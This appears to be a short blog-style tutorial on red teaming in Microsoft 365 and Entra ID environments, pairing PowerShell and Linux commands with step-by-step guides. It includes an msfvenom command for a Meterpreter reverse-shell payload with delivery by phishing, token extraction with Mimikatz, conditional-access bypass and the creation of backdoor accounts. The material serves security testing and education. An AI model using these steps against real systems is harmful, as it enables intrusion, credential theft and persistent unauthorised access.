Introduction
While penetration testing identifies vulnerabilities in systems before deployment, red teaming goes further by simulating real-world breach scenarios to test an organization’s detection, response, and resilience. As highlighted in Sandeep Kamble’s LinkedIn post, even after a “clean” pentest, red teaming can expose critical gaps in security posture, such as misconfigured permissions or ineffective SOC alerts.
Learning Objectives
- Understand the difference between penetration testing and red teaming.
- Learn key techniques used in red teaming (e.g., token abuse, lateral movement).
- Discover how to improve detection and response strategies.
1. Token Abuse in Microsoft 365
Command:
Get-AzureADUser -All $true | Select-Object DisplayName, UserPrincipalName
What It Does:
This PowerShell command lists all users in Azure AD (now Entra ID), which attackers can exploit if they gain access via token theft or misconfigured permissions.
Step-by-Step Guide:
1. Compromise a low-privilege account (e.g., via phishing).
- Extract tokens using tools like `Mimikatz` or
AADInternals. - Enumerate users and policies to identify privilege escalation paths.
- Bypass conditional access by abusing trusted session tokens.
2. Testing SOC Response with Lateral Movement
Command (EDR Bypass):
sudo msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=443 -f elf > payload.elf
What It Does:
Generates a Meterpreter payload for lateral movement, testing whether EDR solutions detect unusual process execution.
Step-by-Step Guide:
- Deliver the payload to a target machine (e.g., via phishing).
- Execute the payload and establish a reverse shell.
- Move laterally using exploits like `PsExec` or
WMI. - Monitor SOC alerts (or lack thereof) during the attack.
3. Mapping Conditional Access Policies
Command:
Get-AzureADMSConditionalAccessPolicy
What It Does:
Lists all conditional access policies in Entra ID, helping attackers identify weak enforcement rules.
Step-by-Step Guide:
- Gain initial access to an Entra ID account.
2. Run the command to audit policies.
- Exploit gaps (e.g., policies excluding certain user groups).
4. Privilege Escalation via Group Permissions
Command:
Get-AzureADDirectoryRole | Select-Object DisplayName, RoleTemplateId
What It Does:
Displays Azure AD roles, revealing potential misconfigurations for escalation.
Step-by-Step Guide:
- Identify overprivileged roles (e.g., Global Admin assigned unnecessarily).
2. Exploit role assignments using `Add-AzureADGroupMember`.
3. Validate persistence by creating backdoor accounts.
5. Detecting Silent Failures in Alerting
Command (Linux):
journalctl --since "1 hour ago" | grep -i "fail|error"
What It Does:
Checks system logs for errors that might indicate suppressed or misconfigured alerts.
Step-by-Step Guide:
1. Simulate an attack (e.g., brute-force SSH).
2. Query logs to see if alerts triggered.
3. Tune SIEM rules to reduce false negatives.
What Undercode Say
- Key Takeaway 1: Red teaming exposes gaps that pentests miss, particularly in detection and response.
- Key Takeaway 2: Token abuse and conditional access misconfigurations are common blind spots.
Analysis:
Organizations often rely on pentests as a compliance checkbox, but red teaming reveals operational weaknesses. For example, Microsoft 365 environments are frequently compromised via token theft due to overprivileged service accounts. Proactive measures like regular red team exercises and least-privilege enforcement are critical.
Prediction
As attackers increasingly automate lateral movement and token abuse, red teaming will become a non-negotiable practice for enterprises. AI-driven attack simulations may soon replace manual red teaming, enabling continuous testing of security postures.
